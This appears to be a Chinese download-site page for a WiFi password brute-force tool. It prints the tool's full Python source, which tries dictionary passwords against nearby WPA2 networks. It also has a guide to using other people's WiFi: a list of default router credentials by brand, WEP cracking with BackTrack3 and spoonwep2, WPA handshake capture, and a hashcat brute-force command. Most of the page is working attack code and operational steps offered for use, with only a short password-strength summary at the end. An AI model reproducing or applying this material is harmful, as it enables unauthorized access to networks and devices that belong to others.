編輯點評:
wifi密碼強制破解軟件是一款非常好用的wifi密碼破解工具,它是由論壇網(wǎng)友制作分享的,通過這款軟件可以幫助用戶輕松破解wifi,目前這款軟件還是測試版本,可能會有一些問題,后續(xù)會更新優(yōu)化,有需要的朋友可以下載體驗。
軟件代碼
import PySimpleGUI as sg
import pywifi
from pywifi import const
import time, os.path
# 設置全局默認設置
sg.set_options(font=("微軟雅黑", 10))
# 定義UI布局
layout = [[sg.Text("2.選擇破解的WIFI名稱:")],
[sg.Combo(values=[], key="-WIFI NAME-", size=(40, None)), sg.Button("1.查找WIFI", key="-SCAN WIFI-")],
[sg.Text("3.選擇密碼字典文件:")],
[sg.InputText(key="-KEY LIST-"), sg.FileBrowse("選擇文件", target="-KEY LIST-", key="-FILE CHOOSE-")],
[sg.Button("4.執(zhí)行檢查", key="-CHECK-"), sg.Button('5.開始破解', key="-START-", auto_size_button=False, disabled=True)],
[sg.Output(key="-OUTPUT-", size=(54, 20))]]
# 創(chuàng)建Window
window = sg.Window('Window Title', layout)
# 創(chuàng)建網(wǎng)卡
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()
iface = None
if len(ifaces) > 0:
iface = ifaces[0]
def scan_wifi():
"""掃描附近的WIFI"""
print("開始掃描WIFI,請稍候……")
iface.scan()
time.sleep(2)
results = []
for res in iface.scan_results():
if len(res.ssid) > 0 and res.ssid not in results:
results.append(res.ssid)
window["-WIFI NAME-"].update(values=results)
print("掃描完畢")
def check():
"""檢查破解前的準備工作是否完備"""
if iface is None:
print("你的計算機沒有網(wǎng)卡,請退出!")
window["-START-"].update(disabled=True)
return
else:
print("計算機網(wǎng)卡已選定:" + iface.name())
wifiname = values["-WIFI NAME-"]
if (wifiname is None) or (len(wifiname) == 0):
print("WIFI名稱不能為空")
return
else:
print("WIFI名稱:" + wifiname)
keylist = values["-KEY LIST-"]
if (keylist is None) or (len(keylist) == 0):
print("密碼字典路徑不能為空")
else:
if os.path.exists(keylist) and os.path.isfile(keylist):
print("密碼字典路徑:" + keylist)
window["-START-"].update(disabled=False)
else:
print("密碼字典路徑不正確")
def wifi_connect(interface, wifiname, password):
"""
嘗試進行 WiFi 連接
:param interface: 網(wǎng)卡對象
:param wifiname: WiFi名稱
:param password: WiFi密碼
:return: True or False, 連接成功或者失敗
"""
if interface.status() != const.IFACE_DISCONNECTED:
interface.disconnect() # 斷開連接
time.sleep(0.5)
profile = pywifi.Profile() # 創(chuàng)建WiFi連接文件
profile.ssid = wifiname # WiFi的ssid,即wifi的名稱
profile.key = password # WiFi密碼
profile.auth = const.AUTH_ALG_OPEN # 開放網(wǎng)卡
profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi的加密類型,現(xiàn)在一般的wifi都是wpa2psk
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
interface.remove_all_network_profiles() # 清空profile列表
interface.add_network_profile(profile) # 添加profile
interface.connect(profile) # 連接WiFi
time.sleep(1)
if interface.status() == const.IFACE_CONNECTED:
return True
return False
def crack(wifiname, keylist):
"""
使用密碼字典的方式暴力破解 WiFi 密碼
:param wifiname: WiFi名稱
:param keylist: 密碼字典
:return: 破解出的密碼
"""
with open(keylist, "r", encoding="utf-8") as f:
for key in f.readlines():
key = key.strip()
print("正在嘗試密碼:" + key)
isok = wifi_connect(iface, wifiname, key)
if isok:
print("連接成功!WiFi:" + wifiname + " 密碼:" + key)
return key
else:
print("連接失敗,密碼錯誤")
# 事件處理循環(huán)
while True:
# 調用read()顯示窗口,等待用戶交互
event, values = window.read()
# 以下就是事件處理的邏輯
# 如果用戶點擊關閉窗口,就退出
if event == sg.WINDOW_CLOSED:
break
# 掃描WIFI
elif event == "-SCAN WIFI-":
scan_wifi()
# 執(zhí)行檢查
elif event == "-CHECK-":
check()
# 開始破解
elif event == "-START-":
print("開始破解")
crack(values["-WIFI NAME-"], values["-KEY LIST-"])
# 關閉Window
window.close()
軟件說明
這兩天在家無聊,想寫點小工具玩玩,于是看了一下PySimpleGUI,寫了一個暴力**wifi的軟件
這是練習作品,不要指望它真能破解鄰居的WIFI密碼
密碼字典是網(wǎng)上隨便下載的,破解的WIFI也是我家的WIFI,再次重申,這只是練習作品!!!
WIFI密碼如何破解
WIFI密碼如何破解? 最無奈的事情莫過于有WiFi卻不知道WiFi密碼,下面給大家介紹幾個方法, 教你百分之百成功蹭網(wǎng)。
手機上面破解wifi蹭網(wǎng)
方法一:默認密碼大猜想
以下為常見路由器默認密碼(一些新手新買的路由器一般嫌麻煩都不會修改密碼哦)
品牌:ViKing用戶名:adsl 密碼:adsl1234
品牌:實達默認IP:192.168.10.1版本:
用戶名:admin 密碼:conexant
版本:2110ehr v4.5用戶名:root 密碼:grouter
用戶名:admin 密碼:starnetadsl
品牌:艾瑪默認IP:192.168.101.1用戶名:admin 密碼:admin
品牌:神州數(shù)碼/華碩用戶名:adsl 密碼:adsl1234
品牌:全向用戶名:root 密碼:root
品牌:普天用戶名:putian 密碼:123456
品牌:e-tek用戶名:admin 密碼:12345
品牌:zyxel用戶名:anonymous密碼:1234
品牌:北電用戶名:anonymous 密碼:1234
5品牌:大恒用戶名:admin 密碼:admi
n品牌:大唐用戶名:admin 密碼:1234
品牌:斯威特用戶名:root 密碼:root
用戶名:user 密碼:user
品牌:中興用戶名:adsl 密碼:adsl831
品牌:BENQ用戶名:user 密碼:benq1234
品牌:華碩用戶名:ADSL 密碼:adsl1234
騰達192.168.0.1 admin / admin
用戶名:admin 密碼:admin
WIFI密碼如何破解 教你百分之百成功蹭網(wǎng)
方法二:推薦使用“wifi萬能鑰匙”
當然,wifi萬能鑰匙并不是萬能的,其原理而是將已知得免費公共wifi熱點的資源集中在一起,如果當你所在的地方搜索到 wifi萬能鑰匙數(shù)據(jù)庫的wifi后便自動連接。它并不能讓你進入別人加密的wifi。如果以前進入過某個wifi,現(xiàn)在又無法進入,那么可能是以前 wifi的所有者并沒有加密,現(xiàn)在加密了,或者密碼被修改了!
電腦上面破解wifi蹭網(wǎng)
比起電腦上面相對簡單多了,當然手機的方法也絕對適用于電腦上面!同時,很有必要我告訴大家一些新的方法高科技黑客方法!(核心方法)
方法: BackTrack3(BT3破解)
準備工作
1、一個有可破解無線信號的環(huán)境。如我在家隨便搜索出來的信號。
2、帶無線網(wǎng)卡的電腦一臺(筆記本臺式機均可,只要無線網(wǎng)卡兼容BT3),我用的是三星NC10的上網(wǎng)本。
3、4G以上優(yōu)盤一個(我用的是kingston 8G 的)
4、下載BT3,約900多兆。注:BT3 全稱BackTrack3,與我們常說的bt下載是完全不同的概念。以我理解就是集成了一些計算機安全軟件的linux系統(tǒng)。正是由于它的出世和不斷普及,使得破解可讓普通用戶輕易言之。
5、下載spoonwep2中文包。注:spoonwep2就是我們的破解軟件,一個非常強悍的圖形化破解WEP無線網(wǎng)絡密碼的工具。
安裝篇
1、將優(yōu)盤格式化,配置如下圖,唯一要注意文件系統(tǒng)選為FAT32就可以了。
2、將剛才下載完成的bt3解壓縮,復制到優(yōu)盤,完成后會看到優(yōu)盤目錄下有兩個文件夾,一個boot 一個BT3。
3、開始安裝bt3系統(tǒng)。點擊開始-運行,輸入CMD, 然后回車,進入命令行模式 。首先輸入你優(yōu)盤的盤符,我這里是h盤,輸入h: 然后回車。接下來輸入 cd boot 回車,進入到boot文件夾下。最后 bootinst.bat 回車,就會開始安裝BT3然后安裝會出現(xiàn)一個提示畫面,我們別去管它,直接按任意鍵繼續(xù)。按任意鍵后,電腦會自動設置引導記錄,整個過程大概10秒左右。出現(xiàn)下面畫面后,此優(yōu)盤就可以引導系統(tǒng)進去bt3了。
4、集成spoonwep2軟件。首先把我們先前下載的spoonwep2解壓縮,里面是六個擴展名為lzm的文件,將這六個文件復制到U盤t3modules文件夾下。
5、這樣我們的bt3系統(tǒng)已經(jīng)集成安裝完畢了,可以動手破解了。
破解篇
1、將安裝好系統(tǒng)的優(yōu)盤插入電腦,重啟后進入bios,設置優(yōu)盤為電腦第一啟動順序。(這個如果沒設置過,可以問一下其他人,或者在網(wǎng)上找找設置方法,每臺電腦進入bios的方法也不同,如開機按F2,Del,F(xiàn)1等等)
2、設置優(yōu)盤啟動后,電腦會自動帶入我們進入bt3操作系統(tǒng)(如果出現(xiàn)界面選擇,你要選擇vesa mode)。
3、啟動spoonwep2軟件。
第一步:選擇開始-backtrack->radio network analysis->80211->all->spoonwep2,跟windows操作一樣,啟動spoonwep2后會看到選擇網(wǎng)卡信息設置窗口,需要我們依次設置本地網(wǎng)卡接口,無線網(wǎng)卡芯片類型以及掃描模式,選擇完畢后點next繼續(xù)。
第二步:點NEXT按鈕后進入到具體掃描窗口,我們點右上角的LAUNCH按鈕開始掃描,再按該按鈕是停止掃描。
第三部:軟件會自動掃描周邊的無線網(wǎng)絡,掃描過程中會自動羅列出找到的無線網(wǎng)絡的信息,傳輸速度,截獲的通訊數(shù)據(jù)包大小,使用的無線信號頻端,加密類別等。
第四步:掃描了一段時間,差不多有好幾個信號了。你選擇一個進行破解,我選了了“bingo, 用鼠標單擊bingo,會出現(xiàn)上圖一樣的白色陰影,然后點下面的“selection ok”即可。
第五步,也是最激動人心的一步。完成第四步后,出現(xiàn)一個窗口。約過了8分鐘,wep密碼自然而然就出來了,呵呵,到時有你激動的。(破解中,會抓取ivs數(shù)據(jù)包,以我經(jīng)驗一般在20000-30000之間可以解密了)
四、連接篇
得到了密碼,我們試試看看能不能連上重新回到windows系統(tǒng),用剛才得到的密碼,來連接binggo網(wǎng)絡,密碼自然是正確的,馬上就連上了。
Wifi密碼破解實戰(zhàn)
準備工作
先說一下大概的流程:掃描無線網(wǎng)—獲取握手包(抓包)—暴力破解握手包(跑包)—得出密碼。 其中,抓包和跑包是最關鍵的兩個步驟,可能耗費大量的時間,還有些運氣成分。
主要工具: cdlinux:小型的 Linux 系統(tǒng),用于抓包,中文帶界面,可以放到U盤中;
hashcat:異常強大的密碼破解工具,支持 GPU 加速,除了支持破解 WPA,還能破解 md5、zip 等密碼;
U盤:運行 CDLinux,保存抓包文件,容量在512M以上;
帶無線網(wǎng)卡的 PC 機:筆記本或者有外置無線網(wǎng)卡的臺式機均可,最好有獨立顯卡,可以提高跑包效率。
輔助工具: UltraISO、BOOTICE、grldr 和 menu.lst,用于從U盤啟動 CDLinux。
第一步:安裝 CDLinux
需要用到 UltraISO、BOOTICE、grldr、menu.lst、CDLinux。
1. 格式化U盤,文件系統(tǒng)為 FAT32,卷標設置為 CDLINUX;
2. 運行 UltraISO,依次點擊文件–打開–選擇下載好的 CDLinux –打開;點擊左上角窗口的 CDLINUX,將右側窗口的 CDLinux 目錄和 mkisofs.sh 文件復制到U盤根目錄;
如下圖所示:
注意,此時還不能從U盤啟動;
3. 關閉 UltraISO,把 grldr 和 menu.lst 兩個文件復制到U盤;
4. 運行 BOOTICE.EXE,目標磁盤選擇U盤,然后點擊主引導記錄,選擇 GRUB4DOS,點擊 安裝/配置,新窗口中,選中 禁止搜索軟盤上的 GLLDR、禁止按 C 無條件進入命令行控制臺、禁止引導分區(qū)別表無效的原引導記錄,引導文件名輸入 GRLDR(自動轉大寫),然后點擊寫入磁盤,提示成功后點擊確定。
5. 關閉 BOOTICE.EXE,將U盤插到帶無線網(wǎng)卡的電腦上,開啟無線網(wǎng)卡,重啟電腦,選擇從U盤啟動。
第二步:抓包
需要用到已經(jīng)安裝 CDLinux 的U盤。
1. 進入到 CDLinux 的桌面后,運行 minidwep-gtk,圖標在左下角,像水滴一樣,彈出的警告窗口點 OK;
2. 點擊掃描按鈕,附近的無線網(wǎng)絡信息都會顯示出來;
3. 優(yōu)先選擇信號強并且有客戶端的無線網(wǎng)絡:
第三列,強度,都是負數(shù)那一列,越接近0表示信號越強;
最后一列,客戶端 MAC,有 MAC 地址時,容易抓包;如果沒有,調整天線位置,重新掃描;
4. 點擊啟動,開始抓包;有沒有握手包,完全看運氣,所以盡量在上網(wǎng)高峰時段抓包,成功率更高;
5. 抓到握手包時,會提示是否搜索密碼,選擇 NO,一會用別的工具跑包;
6. 然后會提示文件保存在 /tmp 目錄下,點擊 OK 后,提示是否保存到硬盤分區(qū),將類似 MAC 地址_handshake.cap.hccap 的文件保存好,我這保存為 A8_handshake.cap.hccap,一會跑包時會用到。
第三步:跑包
需要用到 hashcat。
跑包是整個過程的重中之重,核心思路就是窮舉密碼,暴力破解。這個環(huán)節(jié)很耗時,我嘗試過若干工具均不理想,速度太慢,完全不能用于實際操作。
如果要窮舉所有密碼,肯定不現(xiàn)實。想一下我們常用的密碼,基本是8位純數(shù)字,所以我們先從8位純數(shù)字密碼入手。hashcat 剛好符合要求,在 GPU 加速的情況下,跑8位純數(shù)字密碼大約15分鐘,在可接受的范圍,幫助文檔和官方 Wiki 足夠詳細,照著例子抄就能跑起來。
解壓 hashcat-3.30.7z,將剛才保存的握手包 A8_handshake.cap.hccap 拷貝進來,以管理員身份啟動 cmd,進入到 hashcat 目錄; 新建批處理 Run.bat,并編輯,將下面的內容復制進去并保存:
hashcat64.exe -m 2500 -a3 A8_handshake.cap.hccap ?d?d?d?d?d?d?d?dpause
大概解釋一下各個參數(shù)作用:
-m 2500:破解 WPA2 密碼
-a3:暴力破解
A8_handshake.cap.hccap:握手包文件
?d?d?d?d?d?d?d?d:每個 ?d 表示數(shù)字,連在一起表示8位純數(shù)字
pause 是批處理命令,防止 hashcat 運行結束后自動退出。
其余詳細的參數(shù)信息,參考 hashcat 的幫助提示,因為內容非常多,滾屏查看很不方便,所以需要將幫助信息重定向輸出到文件中:
hashcat64.exe --help > help.txt
查看 help.txt 就方便多了。
運行 Run.bat,然后就是等待了,這是運行時的樣子:
這次運氣不錯,很快就跑出來了,耗時三分半鐘。很明顯,密碼是8位出生年月日:
下面兩張圖,是破解11位純數(shù)字密碼和8位數(shù)字字母標點混合密碼所需要的時間:
總結
1. 8位純數(shù)字密碼不要再使用了,太容易被破解了;
2. 大小寫混合字母 + 數(shù)字 + 標點符號,即使位數(shù)較少,也比位數(shù)更長的純數(shù)字密碼更難破解;
3. WPAWPA2 密碼并非絕對安全,但是增加密碼復雜度可以提高破解難度;推薦密碼為字母+標點+數(shù)字,這樣輸入起來比較方便;
4. 抓的包越多,破解的成功率越高;
5. 我想換4路 GTX1080。。。
熱門評論
最新評論